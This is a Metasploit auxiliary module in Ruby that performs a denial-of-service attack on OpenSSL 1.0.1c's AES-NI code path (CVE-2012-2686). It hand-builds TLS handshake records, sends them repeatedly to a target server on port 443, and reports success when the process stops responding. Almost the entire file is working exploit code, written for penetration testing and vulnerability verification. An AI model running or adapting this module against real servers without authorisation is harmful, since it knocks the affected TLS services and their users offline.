## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # auxilary/dos/ssl/openssl_aesni require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS', 'Description' => %q{ The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the length of an encrypted message when used with a TLS version 1.1 or above. This leads to an integer underflow which can cause a DoS. The vulnerable function aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL. This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default OpenSSL 1.0.1c package. }, 'Author' => [ 'Wolfgang Ettlinger ' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-2686'], [ 'URL', 'https://www.openssl.org/news/secadv/20130205.txt' ] ], 'DisclosureDate' => 'Feb 05 2013')) register_options( [ Opt::RPORT(443), OptInt.new('MAX_TRIES', [true, "Maximum number of tries", 300]) ], self.class) end def run # Client Hello p1 = "\x16" # Content Type: Handshake p1 << "\x03\x01" # Version: TLS 1.0 p1 << "\x00\x7e" # Length: 126 p1 << "\x01" # Handshake Type: Client Hello p1 << "\x00\x00\x7a" # Length: 122 p1 << "\x03\x02" # Version: TLS 1.1 p1 << ("A" * 32) # Random p1 << "\x00" # Session ID Length: 0 p1 << "\x00\x08" # Cypher Suites Length: 6 p1 << "\xc0\x13" # - ECDHE-RSA-AES128-SHA p1 << "\x00\x39" # - DHE-RSA-AES256-SHA p1 << "\x00\x35" # - AES256-SHA p1 << "\x00\xff" # - EMPTY_RENEGOTIATION_INFO_SCSV p1 << "\x01" # Compression Methods Length: 1 p1 << "\x00" # - NULL-Compression p1 << "\x00\x49" # Extensions Length: 73 p1 << "\x00\x0b" # - Extension: ec_point_formats p1 << "\x00\x04" # Length: 4 p1 << "\x03" # EC Points Format Length: 3 p1 << "\x00" # - uncompressed p1 << "\x01" # - ansiX962_compressed_prime p1 << "\x02" # - ansiX962_compressed_char2 p1 << "\x00\x0a" # - Extension: elliptic_curves p1 << "\x00\x34" # Length: 52 p1 << "\x00\x32" # Elliptic Curves Length: 50 # 25 Elliptic curves: p1 << "\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a" p1 << "\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04" p1 << "\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10" p1 << "\x00\x11" p1 << "\x00\x23" # - Extension: SessionTicket TLS p1 << "\x00\x00" # Length: 0 p1 << "\x00\x0f" # - Extension: Heartbeat p1 << "\x00\x01" # Length: 1 p1 << "\x01" # Peer allowed to send requests # Change Cipher Spec Message p2_cssm = "\x14" # Content Type: Change Cipher Spec p2_cssm << "\x03\x02" # Version: TLS 1.1 p2_cssm << "\x00\x01" # Length: 1 p2_cssm << "\x01" # Change Cipher Spec Message # Encrypted Handshake Message p2_ehm = "\x16" # Content Type: Handshake p2_ehm << "\x03\x02" # Version: TLS 1.1 p2_ehm << "\x00\x40" # Length: 64 p2_ehm << ("A" * 64) # Encrypted Message # Client Key Exchange, Change Cipher Spec, Encrypted Handshake # AES256-SHA p2_aes_sha = "\x16" # Content Type: Handshake p2_aes_sha << "\x03\x02" # Version: TLS 1.1 p2_aes_sha << "\x01\x06" # Length: 262 p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange p2_aes_sha << "\x00\x01\x02" # Length: 258 p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256 p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant) p2_aes_sha << p2_cssm # Change Cipher Spec Message p2_aes_sha << p2_ehm # Encrypted Handshake Message # DHE-RSA-AES256-SHA p2_dhe = "\x16" # Content Type: Handshake p2_dhe << "\x03\x02" # Version: TLS 1.1 p2_dhe << "\x00\x46" # Length: 70 p2_dhe << "\x10" # Handshake Type: Client Key Exchange p2_dhe << "\x00\x00\x42" # Length: 66 p2_dhe << "\x00\x40" # DH Pubkey Length: 64 p2_dhe << ("A" * 64) # DH Pubkey p2_dhe << p2_cssm # Change Cipher Spec Message p2_dhe << p2_ehm # Encrypted Handshake Message # ECDHE-RSA-AES128-SHA p2_ecdhe = "\x16" # Content Type: Handshake p2_ecdhe << "\x03\x02" # Version: TLS 1.1 p2_ecdhe << "\x00\x46" # Length: 70 p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange p2_ecdhe << "\x00\x00\x42" # Length: 66 p2_ecdhe << "\x41" # EC DH Pubkey Length: 65 # EC DH Pubkey: p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8" p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69" p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6" p2_ecdhe << "\xb2\xe6\x8b\x2a\xd9\x03\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73" p2_ecdhe << "\x40" p2_ecdhe << p2_cssm # Change Cipher Spec Message p2_ecdhe << p2_ehm # Encrypted Handshake Message maxtries = datastore['MAX_TRIES'] success = false for i in 0..maxtries print_status("Try \##{i}") connect sock.put(p1) resp = sock.get_once cs = get_cipher_suite(resp) if cs == 0xc013 # ECDHE-RSA-AES128-SHA p2 = p2_ecdhe elsif cs == 0x0039 # DHE-RSA-AES256-SHA p2 = p2_dhe elsif cs == 0x0035 # AES256-SHA p2 = p2_aes_sha else print_error("No common ciphers!") return end sock.put(p2) alert = nil begin alert = sock.get_once(-1, 2) rescue EOFError print_status("DoS successful. process on #{rhost} did not respond.") success = true break end disconnect end if success == false print_status("DoS unsuccessful.") end end def get_cipher_suite(resp) offset = 0 while offset < resp.length type = (resp[offset, 1]).unpack("C")[0] if not type == 22 # Handshake return nil end len = (resp[offset+3, 2]).unpack("n")[0] hstype = (resp[offset+5, 1]).unpack("C")[0] if hstype == 2 # Server Hello return (resp[offset+44, 2]).unpack("n")[0] end offset += len end end end